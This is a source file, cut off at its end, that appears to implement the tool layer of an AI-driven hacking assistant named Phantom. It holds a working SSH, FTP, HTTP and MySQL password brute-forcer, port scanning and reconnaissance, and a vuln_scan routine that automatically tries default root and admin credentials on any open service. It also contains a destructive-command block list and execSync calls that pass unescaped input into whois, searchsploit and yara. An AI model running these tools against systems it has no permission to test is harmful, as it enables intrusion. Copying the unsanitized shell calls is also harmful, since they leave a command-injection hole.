import { execFileSync } from "child_process"; import fs from "fs"; import { resolve, dirname } from "path"; import { homedir } from "os"; import { pathToFileURL, fileURLToPath } from "url"; import { createRequire } from "module"; const $r = createRequire(import.meta.url); import { BASE_DIR, MEMORY_DIR, REPORTS_DIR, PLAYBOOKS_DIR, KNOWLEDGE_DIR, BOOKS_DIR } from "./config.mjs"; import { __r, runExternal, formatExternal, execAsync } from "./runtime.mjs"; export const hackerTools = { shell: async (cmd) => { // Execute a shell command and return output // Includes audit trail + dangerous command guard const SHELL_LOG = resolve(homedir(), ".config", "phantom", "shell_history.log"); const dangerous = [/^rm\s+-rf\s+\/|rm\s+-rf\s+--no-preserve-root/, /^dd\s+if=/, /:\(\)\{/, /chmod\s+777\s+\/$/, /sudo\s+rm\s+-rf/, /bash\s+-c\s/, /sh\s+-c\s/]; // Guard: unclosed backticks or $() cause shell syntax errors const backtickCount = (cmd.match(/`/g) || []).length; if (backtickCount % 2 !== 0) { return "[Shell Error] Unclosed backtick in command. Escape with backslash-backtick or use $() with balanced parentheses."; } // Escape backticks and $() to prevent shell injection / syntax errors cmd = cmd.replace(/`/g, '\\`').replace(/\$\(/g, '\\$\\('); const isDangerous = dangerous.some(d => d.test(cmd)); const ts = new Date().toISOString(); // Audit trail try { const dir = resolve(homedir(), ".config", "phantom"); if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true }); fs.appendFileSync(SHELL_LOG, `[${ts}] ${cmd}\n`, "utf-8"); } catch { /* best-effort audit */ } // Dangerous command guard if (isDangerous) { return `[Shell] ⚠ Command blocked (dangerous pattern detected): ${cmd}\nLog: ${SHELL_LOG}\nUse --force to override (not recommended).`; } try { const r = await execAsync(cmd, { timeout: 30000, maxBuffer: 1024 * 1024 }); return r.trim().substring(0, 4000) || "(empty output)"; } catch (e) { return `[Shell Error] ${e.stderr?.substring(0, 500) || e.message}`; } }, web_fetch: async (url) => { // Fetch a URL and return the content try { const r = await fetch(url); const text = await r.text(); const ct = r.headers.get("content-type") || ""; const isHtml = ct.includes("text/html"); // Strip HTML tags for readability const cleaned = isHtml ? text.replace(/]*>[\s\S]*?<\/script>/gi, "") .replace(/]*>[\s\S]*?<\/style>/gi, "") .replace(/<[^>]+>/g, " ") .replace(/\s+/g, " ") .trim() : text; return `Status ${r.status}\n${cleaned.substring(0, 15000)}`; } catch (e) { return `[Fetch Error] ${e.message}`; } }, decode: async (input) => { // Auto-detect and decode encoded strings const s = input.trim(); const results = []; // Base64 try { const decoded = Buffer.from(s, "base64").toString("utf-8"); if (/^[\x20-\x7E\s]+$/.test(decoded)) results.push(`base64: ${decoded}`); } catch {} // Hex const hexClean = s.replace(/\\x/g, "").replace(/0x/g, "").replace(/\s/g, ""); if (/^[0-9a-fA-F]+$/.test(hexClean) && hexClean.length % 2 === 0) { try { const decoded = Buffer.from(hexClean, "hex").toString("utf-8"); if (/^[\x20-\x7E\s]+$/.test(decoded)) results.push(`hex: ${decoded}`); } catch {} } // URL decode try { if (s.includes("%")) results.push(`url: ${decodeURIComponent(s)}`); } catch {} // Binary if (/^[01\s]+$/.test(s)) { try { const bin = s.replace(/\s/g, ""); const chars = []; for (let i = 0; i < bin.length; i += 8) { chars.push(String.fromCharCode(parseInt(bin.substring(i, i+8), 2))); } results.push(`binary: ${chars.join("")}`); } catch {} } // ROT13 results.push(`rot13: ${s.replace(/[a-zA-Z]/g, c => { const code = c.charCodeAt(0); const base = c <= 'Z' ? 65 : 97; return String.fromCharCode(((code - base + 13) % 26) + base); })}`); return results.length ? results.join("\n") : "[Decoder] No known encoding detected"; }, file_analyze: async (path) => { // Analyze a file: hashes, entropy, strings, type detection try { const { existsSync, statSync, readFileSync } = await import("fs"); if (!existsSync(path)) return `[Error] File not found: ${path}`; const buf = readFileSync(path); const size = buf.length; const { createHash } = await import("crypto"); const md5 = createHash("md5").update(buf).digest("hex"); const sha1 = createHash("sha1").update(buf).digest("hex"); const sha256 = createHash("sha256").update(buf).digest("hex"); // Entropy const freq = new Map(); for (const b of buf) freq.set(b, (freq.get(b) || 0) + 1); let entropy = 0; for (const count of freq.values()) { const p = count / size; entropy -= p * Math.log2(p); } // Strings extraction let cur = "", strs = []; for (let i = 0; i < buf.length; i++) { const c = buf[i]; if (c >= 32 && c <= 126) { cur += String.fromCharCode(c); } else { if (cur.length >= 6) strs.push(cur); cur = ""; } } if (cur.length >= 6) strs.push(cur); // File type via magic bytes const magic = buf.slice(0, 16).toString("hex"); let fileType = "unknown"; if (magic.startsWith("4d5a")) fileType = "PE (Windows executable/DLL)"; else if (magic.startsWith("7f454c46")) fileType = "ELF (Linux binary)"; else if (magic.startsWith("89504e47")) fileType = "PNG image"; else if (magic.startsWith("ffd8")) fileType = "JPEG image"; else if (magic.startsWith("504b0304")) fileType = "ZIP/PK archive"; else if (magic.startsWith("25504446")) fileType = "PDF document"; else if (magic.startsWith("d0cf11e0a1b11ae1")) fileType = "OLE2 (Office doc)"; else if (magic.startsWith("1f8b")) fileType = "GZIP compressed"; else if (magic.startsWith("424d")) fileType = "BMP image"; else if (magic.startsWith("47494638")) fileType = "GIF image"; else if (magic.startsWith("cafebabe")) fileType = "Java class"; else if (magic.startsWith("52617221")) fileType = "RAR archive"; else if (magic.startsWith("1f9d") || magic.startsWith("1fa0")) fileType = "Compress'd archive"; else if (buf.slice(0, 3).toString() === "#!/") fileType = "Script"; else if (buf.slice(0, 4).toString() === "MZ") fileType = "DOS executable"; const entropyLabel = entropy > 7.2 ? "SUSPICIOUS - likely encrypted/packed malware" : entropy > 6.5 ? "High - possible packing/encryption" : entropy > 5.0 ? "Medium" : "Low (plain text/native code)"; const sample = strs.slice(0, 25).join("\n").substring(0, 2000); return [ `📁 ${path}`, `Size: ${(size / 1024).toFixed(1)} KB (${size} bytes)`, `Type: ${fileType}`, `Entropy: ${entropy.toFixed(4)} — ${entropyLabel}`, `MD5: ${md5}`, `SHA1: ${sha1}`, `SHA256: ${sha256}`, `── Strings (${strs.length} found, showing first 25) ──`, sample || "(no printable strings ≥6 chars)", ].join("\n"); } catch (e) { return `[Analyze Error] ${e.message}`; } }, dns_lookup: async (domain) => { // DNS resolution: A, AAAA, MX, NS, TXT records try { const dns = await import("dns/promises"); const results = [`DNS records for ${domain}:`]; const checks = [ ["A", dns.resolve4(domain).catch(() => [])], ["AAAA", dns.resolve6(domain).catch(() => [])], ["MX", dns.resolveMx(domain).catch(() => [])], ["NS", dns.resolveNs(domain).catch(() => [])], ["TXT", dns.resolveTxt(domain).catch(() => [])], ["CNAME", dns.resolveCname(domain).catch(() => [])], ["SOA", dns.resolveSoa(domain).catch(() => [])], ]; for (const [label, promise] of checks) { try { const val = await promise; if (Array.isArray(val) && val.length) { if (label === "MX") results.push(` MX: ${val.map(m => `${m.exchange} (prio ${m.priority})`).join(", ")}`); else if (label === "TXT") results.push(` TXT: ${val.flat().join(", ")}`); else if (label === "SOA") results.push(` SOA: ${val.nsname} (admin: ${val.hostmaster})`); else results.push(` ${label}: ${val.join(", ")}`); } } catch {} } if (results.length === 1) results.push(" (no records found)"); return results.join("\n"); } catch (e) { return `[DNS Error] ${e.message}`; } }, hash: async (input) => { // Hash text or file with MD5/SHA1/SHA256 try { const { createHash } = await import("crypto"); const { existsSync, readFileSync } = await import("fs"); let data; let label = "text"; if (existsSync(input)) { data = readFileSync(input); label = `file (${input})`; } else { data = Buffer.from(input, "utf-8"); } return [ `Hash of ${label}:`, `MD5: ${createHash("md5").update(data).digest("hex")}`, `SHA1: ${createHash("sha1").update(data).digest("hex")}`, `SHA256: ${createHash("sha256").update(data).digest("hex")}`, ].join("\n"); } catch (e) { return `[Hash Error] ${e.message}`; } }, whois: async (domain) => { try { const { execSync } = await import("child_process"); const r = execSync(`whois ${domain}`, { encoding: "utf-8", timeout: 15000, maxBuffer: 1024 * 1024 }); const out = r.trim(); if (!out) return "(empty whois result)"; const lines = out.split("\n").filter(l => !l.startsWith("%") && !l.startsWith("#")); return lines.slice(0, 60).join("\n").substring(0, 4000); } catch (e) { return `[WHOIS Error] ${e.stderr?.substring(0, 500) || e.message}`; } }, port_scan: async (target) => { const COMMON_PORTS = { 21: "FTP", 22: "SSH", 23: "Telnet", 25: "SMTP", 53: "DNS", 80: "HTTP", 110: "POP3", 111: "RPC", 135: "MSRPC", 139: "NetBIOS", 143: "IMAP", 443: "HTTPS", 445: "SMB", 993: "IMAPS", 995: "POP3S", 1433: "MSSQL", 1521: "Oracle", 2049: "NFS", 3306: "MySQL", 3389: "RDP", 5432: "PG", 5900: "VNC", 5985: "WinRM", 5986: "WinRMS", 6379: "Redis", 8080: "Proxy", 8443: "AltHTTPS", 9000: "PHP", 27017: "Mongo", }; const parts = target.split(":"); const host = parts[0]; let ports = []; if (parts[1]) { if (parts[1].includes("-")) { const [s, e] = parts[1].split("-").map(Number); if (!isNaN(s) && !isNaN(e)) for (let i = s; i <= e; i++) ports.push(i); } else { ports = parts[1].split(",").map(Number).filter(n => !isNaN(n)); } } if (!ports.length) ports = Object.keys(COMMON_PORTS).map(Number); const { default: net } = await import("net"); const results = [`Port scan: ${host} (${ports.length} ports)`]; for (let i = 0; i < ports.length; i += 20) { const batch = ports.slice(i, i + 20); await Promise.all(batch.map(port => new Promise(resolve => { const s = new net.Socket(); s.setTimeout(2000); s.on("connect", () => { results.push(` ${port}/tcp open ${COMMON_PORTS[port] || "?"}`); s.destroy(); resolve(); }); s.on("error", () => resolve()); s.on("timeout", () => { s.destroy(); resolve(); }); s.connect(port, host); }))); } if (results.length === 1) results.push(" (all filtered/closed)"); return results.join("\n"); }, http_headers: async (url) => { try { const r = await fetch(url, { method: "HEAD", signal: AbortSignal.timeout(10000), redirect: "manual" }); const h = []; r.headers.forEach((v, k) => h.push(` ${k}: ${v}`)); return `URL: ${url}\nStatus: ${r.status} ${r.statusText}\n── Headers ──\n${h.join("\n")}`; } catch (e) { return `[HTTP Header Error] ${e.message}`; } }, ssl_check: async (host) => { const [hn, ps] = host.includes(":") ? host.split(":") : [host, "443"]; const port = parseInt(ps) || 443; const { default: tls } = await import("tls"); return new Promise(resolve => { const sock = tls.connect(port, hn, { servername: hn, rejectUnauthorized: false }, () => { const cert = sock.getPeerCertificate(); const lines = [ `SSL for ${hn}:${port}`, `Subject: ${cert.subject ? Object.entries(cert.subject).map(([k,v])=>`${k}=${v}`).join(", ") : "N/A"}`, `Issuer: ${cert.issuer ? Object.entries(cert.issuer).map(([k,v])=>`${k}=${v}`).join(", ") : "N/A"}`, `From: ${cert.valid_from || "N/A"} To: ${cert.valid_to || "N/A"}`, `Serial: ${cert.serialNumber || "N/A"}`, `SHA256: ${cert.fingerprint256 || "N/A"}`, `SANs: ${(cert.subjectaltname||"").replace(/DNS:/g,"").split(", ").join(", ")}`, ]; const days = cert.valid_to ? Math.floor((new Date(cert.valid_to) - Date.now())/86400000) : null; if (days !== null) lines.push(`Expires in ${days}d ${days < 0 ? "EXPIRED" : days < 30 ? "⚠ SOON" : "OK"}`); const ciph = sock.getCipher(); if (ciph) lines.push(`Cipher: ${ciph.name} (${ciph.version})`); sock.end(); resolve(lines.join("\n")); }); sock.on("error", e => resolve(`[SSL Error] ${e.message}`)); sock.setTimeout(10000, () => { sock.destroy(); resolve("[SSL Error] Timeout"); }); }); }, sub_enum: async (domain) => { try { const clean = domain.replace(/^https?:\/\//,"").replace(/\/.*$/,"").trim(); const r = await fetch(`https://crt.sh/?q=%25.${clean}&output=json`, { signal: AbortSignal.timeout(20000), headers: { "User-Agent": "Phantom/1.0" }, }); if (!r.ok) return `[crt.sh] HTTP ${r.status}`; const data = await r.json(); if (!Array.isArray(data) || !data.length) return `(no subs for ${clean})`; const subs = [...new Set(data.flatMap(d => (d.name_value||"").split("\n")))].filter(s => s.endsWith(`.${clean}`) || s === clean).sort(); return subs.length ? subs.join("\n") : `(no subs for ${clean})`; } catch (e) { return `[Sub Error] ${e.message}`; } }, crawl: async (url) => { try { const r = await fetch(url, { signal: AbortSignal.timeout(15000) }); const html = await r.text(); const base = url.replace(/\/[^/]*$/, ""); const links = new Set(); const linkRe = /]+href\s*=\s*["']([^"']+)["']/gi; let m; while ((m = linkRe.exec(html)) !== null) { let h = m[1].split("#")[0].split("?")[0]; if (!h || h.startsWith("javascript:") || h.startsWith("mailto:")) continue; if (h.startsWith("//")) h = `https:${h}`; else if (h.startsWith("/")) try { h = new URL(h, url).href; } catch { continue; } else if (!h.startsWith("http")) h = `${base}/${h}`; try { links.add(new URL(h).href); } catch {} } const forms = [...html.matchAll(/]+action\s*=\s*["']([^"']*)["'][^>]*>/gi)].map(m => m[1]); const scripts = [...html.matchAll(/]+src\s*=\s*["']([^"']+)["']/gi)].map(m => m[1]); const lines = [ `🌐 Crawl: ${url}`, `Status: ${r.status}`, `Type: ${r.headers.get("content-type")||"N/A"}`, `Links: ${links.size}`, ...[...links].slice(0,30).map(l => ` ${l}`), ]; if (forms.length) lines.push(`Forms (${forms.length}):`, ...forms.slice(0,5).map(f => ` action="${f}"`)); if (scripts.length) lines.push(`Scripts (${scripts.length}):`, ...scripts.slice(0,10).map(s => ` ${s}`)); return lines.join("\n"); } catch (e) { return `[Crawl Error] ${e.message}`; } }, vt_check: async (hash) => { const key = process.env.VT_API_KEY || ""; if (!key) return "[VT] Set VT_API_KEY env var (free: https://virustotal.com)"; try { const r = await fetch(`https://www.virustotal.com/api/v3/files/${hash.trim()}`, { headers: { "x-apikey": key, Accept: "application/json" }, signal: AbortSignal.timeout(15000), }); if (r.status === 404) return `[VT] Hash "${hash}" not found`; if (!r.ok) return `[VT] HTTP ${r.status}`; const d = (await r.json())?.data?.attributes || {}; const st = d.last_analysis_stats || {}; const res = d.last_analysis_results || {}; const mal = st.malicious || 0, sus = st.suspicious || 0, harm = st.harmless || 0, und = st.undetected || 0; const lines = [ `🔬 VT: ${hash}`, `File: ${d.meaningful_name || "N/A"}`, `Type: ${d.type_description || d.type || "N/A"}`, `Size: ${d.size||"N/A"}b`, `First: ${d.first_submission_date ? new Date(d.first_submission_date*1000).toISOString().split("T")[0] : "N/A"}`, `Detect: ${mal} mal / ${sus} sus / ${harm} harm / ${und} und (${mal+sus+harm+und} engines)`, ]; for (const [eng, r2] of Object.entries(res)) if (r2.category === "malicious") lines.push(` ${eng}: ${r2.result}`); if (d.names) { lines.push(`Names:`); d.names.slice(0,10).forEach(n => lines.push(` ${n}`)); } return lines.join("\n"); } catch (e) { return `[VT Error] ${e.message}`; } }, yara: async (input) => { const parts = input.split("|").map(s => s.trim()); const [rules, target] = parts.length >= 2 ? parts : ["", parts[0]]; try { const r = (await import("child_process")).execSync( rules ? `yara ${rules} ${target}` : `yara ${target}`, { encoding: "utf-8", timeout: 30000, maxBuffer: 1024 * 1024 } ).trim(); return r ? `YARA: ${target}\n${r}` : "(no YARA matches)"; } catch (e) { const err = e.stderr?.toString() || e.message || ""; if (err.includes("command not found")) return "[YARA] Install: apt install yara"; if (e.status === 0) return "(no YARA matches)"; return `[YARA Error] ${err.substring(0,500)}`; } }, recon: async (target) => { const domain = target.replace(/^https?:\/\//, "").replace(/\/.*$/, "").trim(); const ts = new Date().toISOString().replace(/[:.]/g, "-"); const lines = [ "╔══════════════════════════════════════╗", "║ PHANTOM AUTOMATED RECON ║", `║ Target: ${domain.padEnd(32)}║`, `║ Date: ${ts.slice(0, 19).padEnd(27)}║`, "╚══════════════════════════════════════╝", "", ]; try { lines.push("── [1/7] WHOIS ──", await hackerTools.whois(domain)); } catch {} try { lines.push("\n── [2/7] DNS ──", await hackerTools.dns_lookup(domain)); } catch {} try { lines.push("\n── [3/7] SUBDOMAINS ──", await hackerTools.sub_enum(domain)); } catch {} try { lines.push("\n── [4/7] HTTP HEADERS ──", await hackerTools.http_headers(`https://${domain}`)); } catch {} try { lines.push("\n── [5/7] SSL ──", await hackerTools.ssl_check(domain)); } catch {} try { lines.push("\n── [6/7] PORTS ──", await hackerTools.port_scan(domain)); } catch {} try { lines.push("\n── [7/7] CRAWL ──", await hackerTools.crawl(`https://${domain}`)); } catch {} if (!fs.existsSync(REPORTS_DIR)) fs.mkdirSync(REPORTS_DIR, { recursive: true }); const reportPath = resolve(REPORTS_DIR, `recon_${domain}_${ts}.md`); fs.writeFileSync(reportPath, lines.join("\n"), "utf-8"); lines.push(`\n📄 Report saved: ${reportPath}`); return lines.join("\n"); }, cve_search: async (query) => { try { const r = await fetch( `https://services.nvd.nist.gov/rest/json/cves/2.0?keywordSearch=${encodeURIComponent(query)}&resultsPerPage=12`, { signal: AbortSignal.timeout(20000), headers: { "User-Agent": "Phantom/1.0" } } ); if (!r.ok) return `[NVD] HTTP ${r.status}`; const data = await r.json(); const vulns = data?.vulnerabilities || []; if (!vulns.length) return `(no CVEs for "${query}")`; const lines = [`🔍 CVEs for "${query}": ${vulns.length} found\n`]; for (const v of vulns.slice(0, 15)) { const c = v.cve || {}; const id = c.id || "N/A"; const desc = c.descriptions?.find(d => d.lang === "en")?.value || ""; const cvss = c.metrics?.cvssMetricV31?.[0]?.cvssData || c.metrics?.cvssMetricV2?.[0]?.cvssData || {}; lines.push(`[${id}] ${cvss.baseSeverity || "?"} (${cvss.baseScore || "?"}) — ${(c.published||"").split("T")[0] || "?"}`); if (desc) lines.push(` ${desc.substring(0, 180)}`); lines.push(` https://nvd.nist.gov/vuln/detail/${id}\n`); } return lines.join("\n"); } catch (e) { return `[CVE Error] ${e.message}`; } }, searchsploit: async (query) => { try { const r = (await import("child_process")).execSync(`searchsploit ${query} 2>/dev/null`, { encoding: "utf-8", timeout: 15000 }); if (r.trim()) return `🔧 Exploit-DB:\n${r.trim().substring(0, 4000)}`; } catch {} try { const r = await fetch(`https://packetstormsecurity.com/search/?q=${encodeURIComponent(query)}`, { signal: AbortSignal.timeout(15000), headers: { "User-Agent": "Mozilla/5.0" } }); const html = await r.text(); const lines = [`🔧 Exploits for "${query}":`]; const matches = html.match(/]+href="\/files\/[^"]+"[^>]*>[\s\S]{0,150}?<\/a>/gi) || []; for (const m of matches.slice(0, 15)) { const url = m.match(/href="([^"]+)"/)?.[1]; const text = m.replace(/<[^>]+>/g, "").trim().substring(0, 100); if (url && text) lines.push(` ${text} → https://packetstormsecurity.com${url}`); } return lines.length > 1 ? lines.join("\n") : ` Try: https://www.exploit-db.com/search?q=${encodeURIComponent(query)}`; } catch (e) { return `[Search Error] ${e.message}`; } }, bruteforce: async (input) => { const parts = input.split("|").map(s => s.trim()); if (parts.length < 4) return `[Brute] Usage: protocol|target|user|pass1,pass2,pass3\nProtocols: ssh, ftp, http, mysql`; const [protocol, target, user, passStr] = parts; const passes = passStr.split(",").map(s => s.trim()).filter(Boolean); const results = [`🔑 Brute: ${protocol}://${target}`, ` User: ${user}`, ` Passwords: ${passes.length}`, ""]; const { default: net } = await import("net"); async function tryOne(protocol, target, user, pass) { switch (protocol) { case "ssh": { try { (await import("child_process")).execSync( `sshpass -p '${pass.replace(/'/g, "'\\''")}' ssh -o StrictHostKeyChecking=no -o ConnectTimeout=5 ${user}@${target} 'id' 2>/dev/null`, { encoding: "utf-8", timeout: 10000 } ); return "✅ SUCCESS"; } catch { return "❌ failed"; } } case "ftp": { return new Promise(resolve => { const s = new net.Socket(); let buf = ""; s.setTimeout(5000); s.on("data", d => { buf += d.toString(); if (buf.includes("220 ") || buf.includes("ready")) s.write(`USER ${user}\r\n`); else if (buf.includes("331 ") || buf.includes("User")) s.write(`PASS ${pass}\r\n`); else if (buf.includes("230 ") || buf.includes("Logged")) { s.destroy(); resolve("✅ SUCCESS"); } else if (buf.includes("530 ") || buf.includes("Login") || buf.includes("incorrect")) { s.destroy(); resolve("❌ failed"); } }); s.on("error", () => resolve("❌ error")); s.on("timeout", () => { s.destroy(); resolve("❌ timeout"); }); const [h, p] = target.includes(":") ? target.split(":") : [target, "21"]; s.connect(parseInt(p) || 21, h); }); } case "http": { try { const r = await fetch(target, { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: new URLSearchParams({ username: user, password: pass, log: user, pwd: pass }).toString(), redirect: "manual", signal: AbortSignal.timeout(8000) }); if (r.status === 302 || r.status === 301) return "✅ redirect"; const t = await r.text().catch(() => ""); if (r.status === 200 && !t.includes("incorrect") && !t.includes("Invalid") && !t.includes("error")) return !t.includes("password") && !t.includes("login") ? "⚠ maybe" : "❌ failed"; return r.status === 401 || r.status === 403 ? "❌ denied" : "❌ failed"; } catch { return "❌ error"; } } case "mysql": { try { const r = (await import("child_process")).execSync( `mysql -u '${user}' -p'${pass.replace(/'/g, "'\\''")}' -h '${target}' -e 'SELECT 1' --connect-timeout=5 2>/dev/null`, { encoding: "utf-8", timeout: 10000 } ); return r.includes("1") ? "✅ SUCCESS" : "❌ failed"; } catch { return "❌ failed"; } } default: return "❌ unknown"; } } const pad = `${user}:`.padEnd(25); for (const pass of passes) { const r = await tryOne(protocol, target, user, pass); results.push(` ${pad} ${pass.padEnd(20)} → ${r}`); if (r.startsWith("✅") || r.startsWith("⚠")) { results.push(`\n🎯 FOUND: ${user}:${pass}`); break; } } return results.join("\n"); }, // ── FILE TOOLS ── file_read: async (path) => { try { const resolved = resolve(path); if (!fs.existsSync(resolved)) return `[File Error] Not found: ${path}`; const content = fs.readFileSync(resolved, "utf-8"); if (content.length > 100000) return `[File Error] Too large (>100KB): ${path} (${content.length} chars)`; return content; } catch (e) { if (e.code === "EISDIR") return `[File Error] Is a directory: ${path}`; return `[File Error] ${e.message}`; } }, file_write: async (input) => { const idx = input.indexOf("|"); if (idx === -1) return "[File Write] Usage: path|content"; const path = input.substring(0, idx).trim(); const content = input.substring(idx + 1); if (!path || !content) return "[File Write] Usage: path|content"; try { const resolved = resolve(path); const dir = resolve(resolved, ".."); if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true }); const existed = fs.existsSync(resolved); const prevSize = existed ? fs.statSync(resolved).size : 0; fs.writeFileSync(resolved, content, "utf-8"); const preview = content.substring(0, 120).replace(/\n/g, "⏎ ").trim(); const lines = content.split("\n").length; return `✅ ${existed ? "Updated" : "Created"} ${resolved}\n ${content.length}b / ${lines} lines\n ${existed ? `${prevSize}b → ${content.length}b` : `new file`}\n ${preview}${content.length > 120 ? "..." : ""}`; } catch (e) { return `[File Write Error] ${e.message}`; } }, file_edit: async (input) => { const parts = input.split("|"); if (parts.length < 3) return "[File Edit] Usage: path|old_string|new_string"; const [path, oldStr, ...rest] = parts; const newStr = rest.join("|"); try { const resolved = resolve(path); if (!fs.existsSync(resolved)) return `[File Edit] Not found: ${path}`; let content = fs.readFileSync(resolved, "utf-8"); if (!content.includes(oldStr)) return `[File Edit] String not found`; const idx = content.indexOf(oldStr); const ctxBefore = content.substring(Math.max(0, idx - 60), idx).split("\n").pop() || ""; const ctxAfter = content.substring(idx, idx + oldStr.length + 60).split("\n")[0] || ""; content = content.replace(oldStr, newStr); fs.writeFileSync(resolved, content, "utf-8"); const newPreview = content.substring(idx, idx + newStr.length + 40).split("\n")[0] || ""; return `✅ Edited ${path}\n ─ ${ctxBefore.trim()}\n + ${newPreview.trim().substring(0, 80)}\n ${oldStr.length}b → ${newStr.length}b`; } catch (e) { return `[File Edit Error] ${e.message}`; } }, file_search: async (input) => { const parts = input.split("|").map(s => s.trim()); const searchPath = parts.length >= 2 ? parts[0] : "."; const pattern = parts.length >= 2 ? parts[1] : parts[0]; if (!pattern) return "[File Search] Usage: [path|]pattern"; try { const { execSync } = await import("child_process"); const r = execSync(`rg -rn '${pattern.replace(/'/g, "'\\''")}' '${searchPath}' 2>/dev/null | head -40`, { encoding: "utf-8", timeout: 15000 }); if (!r.trim()) return `(no matches for "${pattern}" in ${searchPath})`; const lines = r.trim().split("\n"); return `🔍 "${pattern}" in ${searchPath}: ${lines.length} matches\n${lines.slice(0, 40).join("\n")}`; } catch { return `(no matches for "${pattern}" in ${searchPath})`; } }, file_list: async (path) => { try { const resolved = resolve(path || "."); if (!fs.existsSync(resolved)) return `[File List] Not found: ${path}`; const entries = fs.readdirSync(resolved, { withFileTypes: true }); const lines = [`📁 ${resolved}:`]; const dirs = [], files = []; for (const e of entries) { if (e.name.startsWith(".")) continue; if (e.isDirectory()) dirs.push(e.name); else files.push(e.name); } dirs.sort().forEach(d => lines.push(` 📁 ${d}/`)); files.sort().forEach(f => { try { const s = fs.statSync(resolve(resolved, f)); lines.push(` 📄 ${f} (${s.size.toLocaleString()}b)`); } catch { lines.push(` 📄 ${f}`); } }); lines.push(`\n${dirs.length} dirs, ${files.length} files`); return lines.join("\n"); } catch (e) { return `[File List Error] ${e.message}`; } }, // ── SELF TOOLS ── self_info: async () => { try { const phantomDir = process.cwd(); const pkg = fs.existsSync(resolve(phantomDir, "package.json")) ? JSON.parse(fs.readFileSync(resolve(phantomDir, "package.json"), "utf-8")) : {}; const names = Object.keys(hackerTools).sort(); const llmAvail = __r.llmInstance?.hasLLM; const llmName = __r.llmInstance?.provider || __r.PHANTOM_LLM_PROVIDER || "openai"; return [ `╔══════════════════════════════════════╗`, `║ PHANTOM — Cybersecurity Assistant ║`, `╚══════════════════════════════════════╝`, ``, `Version: ${pkg.version || "dev"}`, `Runtime: Node.js ${process.version}`, `Platform: ${process.platform} ${process.arch}${__r.ENV.isProot ? " 🔒 PRoot" : ""}${__r.ENV.isTermux ? " 📱 Termux" : ""}`, `Project: ${phantomDir}`, ``, `📦 ${names.length} Tools:`, ` ${names.join(", ")}`, ``, `🤖 ${llmAvail ? `LLM: ${llmName}` : "LLM: Not connected (set API key with @llm_config)"}`, ].join("\n"); } catch (e) { return `[Self Info Error] ${e.message}`; } }, self_read: async (path) => { try { const phantomDir = process.cwd(); const resolved = resolve(phantomDir, path.replace(/^\.\//, "")); if (!resolved.startsWith(phantomDir)) return `[Self Read] Access denied: path outside project`; if (!fs.existsSync(resolved)) return `[Self Read] Not found: ${path}`; const content = fs.readFileSync(resolved, "utf-8"); if (content.length > 50000) return content.substring(0, 50000) + `\n... (truncated, ${content.length} chars total)`; return content; } catch (e) { return `[Self Read Error] ${e.message}`; } }, self_edit: async (input) => { const parts = input.split("|"); if (parts.length < 3) return "[Self Edit] Usage: relative_path|old_string|new_string"; const [relPath, oldStr, ...rest] = parts; const newStr = rest.join("|"); try { const phantomDir = process.cwd(); const resolved = resolve(phantomDir, relPath.replace(/^\.\//, "")); if (!resolved.startsWith(phantomDir)) return `[Self Edit] Access denied: path outside project`; if (!fs.existsSync(resolved)) return `[Self Edit] Not found: ${relPath}`; let content = fs.readFileSync(resolved, "utf-8"); if (!content.includes(oldStr)) return `[Self Edit] String not found`; const idx = content.indexOf(oldStr); const ctxBefore = content.substring(Math.max(0, idx - 60), idx); const ctxAfter = content.substring(idx, idx + oldStr.length + 60); content = content.replace(oldStr, newStr); fs.writeFileSync(resolved, content, "utf-8"); const diffLine = ctxBefore.split("\n").pop() || ""; const aftLine = ctxAfter.substring(0, 60).split("\n")[0] || ""; const newPreview = content.substring(idx, idx + newStr.length + 40).split("\n")[0] || ""; return `✅ Edited ${relPath}\n ─ ${diffLine.trim()}\n + ${newPreview.trim().substring(0, 80)}\n ${oldStr.length}b → ${newStr.length}b`; } catch (e) { return `[Self Edit Error] ${e.message}`; } }, // ── VULN SCAN ── vuln_scan: async (target) => { const domain = target.replace(/^https?:\/\//, "").replace(/\/.*$/, "").trim(); const ts = new Date().toISOString().replace(/[:.]/g, "-"); const lines = [`# Phantom Vulnerability Scan Report`, `**Target:** ${domain}`, `**Date:** ${new Date().toUTCString()}`, `---`, ``]; // Phase 1 lines.push(`## Phase 1: Reconnaissance\n`); try { const r = await hackerTools.whois(domain); lines.push(`### WHOIS\n\`\`\`\n${r}\n\`\`\``); } catch {} try { const r = await hackerTools.dns_lookup(domain); lines.push(`### DNS\n\`\`\`\n${r}\n\`\`\``); } catch {} try { const r = await hackerTools.sub_enum(domain); lines.push(`### Subdomains\n\`\`\`\n${r}\n\`\`\``); } catch {} try { const r = await hackerTools.http_headers(`https://${domain}`); lines.push(`### HTTP Headers\n\`\`\`\n${r}\n\`\`\``); } catch {} try { const r = await hackerTools.ssl_check(domain); lines.push(`### SSL/TLS\n\`\`\`\n${r}\n\`\`\``); } catch {} const ports = await hackerTools.port_scan(domain); lines.push(`### Open Ports\n\`\`\`\n${ports}\n\`\`\``); // Phase 2 lines.push(`\n## Phase 2: Vulnerability Search\n`); try { lines.push(`### CVEs\n\`\`\`\n${await hackerTools.cve_search(domain)}\n\`\`\``); } catch {} // Phase 3 lines.push(`\n## Phase 3: Exploit Search\n`); try { lines.push(`### Exploits\n\`\`\`\n${await hackerTools.searchsploit(domain)}\n\`\`\``); } catch {} // Phase 4 lines.push(`\n## Phase 4: Brute Force Testing\n`); const openPorts = [...ports.matchAll(/(\d+)\/tcp\s+open/gi)].map(m => parseInt(m[1])); if (openPorts.includes(22)) { lines.push(`- Port 22 (SSH) open`); try { lines.push(` \`\`\`\n${await hackerTools.bruteforce(`ssh|${domain}|root|admin,root,toor,123456,password`)}\n\`\`\``); } catch {} } if (openPorts.includes(21)) { lines.push(`- Port 21 (FTP) open`); try { lines.push(` \`\`\`\n${await hackerTools.bruteforce(`ftp|${domain}|admin|admin,password,ftp`)}\n\`\`\``); } catch {} } if (openPorts.some(p => [80, 443, 8080, 8443].includes(p))) { lines.push(`- Web server detected`); try { lines.push(` \`\`\`\n${await hackerTools.bruteforce(`http|https://${domain}/login|admin|admin,password,admin123`)}\n\`\`\``); } catch {} } // Save if (!fs.existsSync(REPORTS_DIR)) fs.mkdirSync(REPORTS_DIR, { recursive: true }); const reportPath = resolve(REPORTS_DIR, `vulnscan_${domain}_${ts}.md`); fs.writeFileSync(reportPath, lines.join("\n"), "utf-8"); lines.push(`\n---\n📄 Full report: ${reportPath}`); return lines.join("\n"); }, report_save: async (input) => { 